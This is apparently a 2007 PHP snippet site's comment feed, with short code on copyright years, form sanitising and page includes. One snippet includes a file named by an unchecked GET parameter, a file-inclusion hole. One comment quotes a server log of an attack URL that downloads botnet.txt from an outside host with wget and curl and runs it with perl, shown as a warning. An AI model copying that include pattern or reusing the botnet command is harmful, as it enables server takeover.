1
2
3
foreach($_POST as $pname => $pvalue){
    $_POST[$pname] = str_replace(array("\\", '\\'), array("\'", '\"'), htmlspecialchars(trim($pvalue)));
}

PHP On making user html input secure

by techietim, October 12, 2007 23:32 Star_fullStar_fullStar_fullStar_fullStar_full

Try this.

441c4f02db55ef2cbe96027af7012e01 Talk

PHP On Copyright Year

by Lokycss, October 12, 2007 22:14

>> I'm personally not a big...

D4aeba3e57cfa78a5dfd84a08849611e Talk

PHP On Validation after the specif...

by juan, October 12, 2007 15:15 Star_full

never mind thats wrong

Avatar Talk
1
2
3
4
 ?<php 


...

PHP On Validation after the specif...

by Juan, October 12, 2007 15:14 Star_full
B5d103b03d7a09d671ab96d7c301dc57 Talk

PHP On Validation after the specif...

by lsolesen, October 12, 2007 08:06

I was not trying to reinven...

98c28fcbe1e816f8e64ff24302298e81 Talk
1
2
3
4
<?php

if (!filter_var('bob@example.com', FILTER_VALIDATE_EMAIL)) {
...

PHP On Validation after the specif...

by zaadjis, October 12, 2007 07:53 Star_fullStar_fullStar_fullStar_fullStar_full

Don't reinvent. Google, try...

08b49e3d543f221ed51cdbe118448275 Talk

PHP On Copyright Year

by richardhealy, October 11, 2007 23:02

Scrap the "bracket" comment...

28e65a85a625f7c0689bcf96ccf6043d Talk
1
Copyright &copy; 2007<?= intval(date('Y')) > 2007 ? date(' - Y') : ''; ?> - All Rights Reserved - Design by scott2010_h

PHP On Copyright Year

by richardhealy, October 11, 2007 22:56

I'm personally not a big fa...

28e65a85a625f7c0689bcf96ccf6043d Talk

PHP On makeSafe Content Filter

by Mike Weller, October 11, 2007 15:04

Some of the code I see arou...

347a959d16ea34efea0461d824ebce09 Talk

PHP On PHP Get

by Mike Weller, October 11, 2007 14:57

@ FiSh, blacklisting with r...

Avatar Talk

PHP On handling GET and POST in a ...

by Mike Weller, October 11, 2007 14:55

Combining GET and POST is a...

Avatar Talk
1
2
3
4
<?php
include $_GET['id'].".php";
?>
...

PHP On Content Page Include

by Todd Dickerson, October 11, 2007 06:08

The shortest option and the...

Ac398a2df982d152c3d6ed263e54a23c Talk
1
2
3
4
<?php

/**
...

PHP On Pages query out DB

by zaadjis, October 10, 2007 14:33
08b49e3d543f221ed51cdbe118448275 Talk
1
2
3
4
<?php

/**
...

PHP On makeSafe Content Filter

by zaadjis, October 10, 2007 14:02
08b49e3d543f221ed51cdbe118448275 Talk
1
Copyright &copy; 2007<?php echo (intval(date('Y')) > 2007) ? date(' - Y') : ''; ?> - All Rights Reserved - Design by scott2010_h

PHP On Copyright Year

by scott2010_h, October 10, 2007 04:12 Star_fullStar_fullStar_fullStar_full

@ Lokycss there was an extr...

B05a78cd33eb6b85c70d7f88d042d813 Talk
1
Copyright &copy; 2007<?php echo (intval(date('Y')) > 2007) ? date(' - Y') : ''); ?> - All Rights Reserved - Design by scott2010_h

PHP On Copyright Year

by Lokycss, October 09, 2007 18:12

Follow "Travis" code:
Check...

D4aeba3e57cfa78a5dfd84a08849611e Talk
1
2
3
4
You need to echo the output, I forgot to do this.

<?php
...

PHP On Pages query out DB

by John, October 09, 2007 16:35
Avatar Talk
1
2
3
4
<?php

class dbQuery 
...

PHP On Pages query out DB

by John, October 09, 2007 16:33

You could just put the whol...

Ac5ae82a66ea6cab66666c8fdca73a01 Talk

PHP On Copyright Year

by travis, October 09, 2007 14:57

d'oh, i forgot a ';' :-(

918aabb05e77cfa8e40d2a76a5168326 Talk
1
2
3
Copyright &copy; 2007<?php
echo (intval(date('Y')) != 2007) ? date(' - Y') : '')
?> - All Rights Reserved - Design by scott2010_h

PHP On Copyright Year

by travis, October 09, 2007 14:56

Why even bother with concat...

918aabb05e77cfa8e40d2a76a5168326 Talk
1
2
3
4
www.adomainname.ext 189.24.211.51 - - [03/Oct/2007:20:42:28 +0200] "GET 
/index.php?link=http://www.jungo8949.co.kr/tool25.txt?&cmd=cd%20/tmp;rm%20botnet.txt;wget%20http://fuckoff.no-ip.org/botnet.txt;fetch%20http://fuckoff.no-ip.org/botnet.txt;lwp-download%20http://fuckoff.no-ip.org/botnet.txt;curl%20-O%20http://fuckoff.no-ip.org/botnet.txt;lynx%20http://fuckoff.no-ip.org/botnet.txt;perl%20botnet.txt 
...

PHP On Content Page Include

by GCMartijn, October 09, 2007 12:34

@ EllisGL

Warning with ...

869fec813490afb9628129e55aa0713e Talk
1
2
3
4
<?php 
$sCopyright = (intval(date('Y')) != 2007) ? '2007 - '.date(' - Y') : '2007';
print 'Copyright &copy; '.$sCopyright.'  - All Rights Reserved - Design by scott2010_h';
...

PHP On Copyright Year

by luck, October 08, 2007 15:46
E6615166d171570278017fd2652b846b Talk
1
2
3
4
if(ffile_exists($page))
 {
  include $page;
...

PHP On Content Page Include

by EllisGL, October 08, 2007 14:10

Or you could do this:

8bba46dba9043c254e6eef1aa664e6f0 Talk
1
2
3
4
if($page === 'news')
 {
  include 'news.php';
...

PHP On Content Page Include

by EllisGL, October 08, 2007 14:07

I like how clean the Switch...

8bba46dba9043c254e6eef1aa664e6f0 Talk
1
echo 'Copyright &copy; 2007 ',((intval(date('Y')) != 2007) ? date(' - Y') : ''),' - All Rights Reserved - Design by scott2010_h';

PHP On Copyright Year

by EllisGL, October 08, 2007 13:45 Star_fullStar_fullStar_fullStar_full

Using single quotes is fast...

8bba46dba9043c254e6eef1aa664e6f0 Talk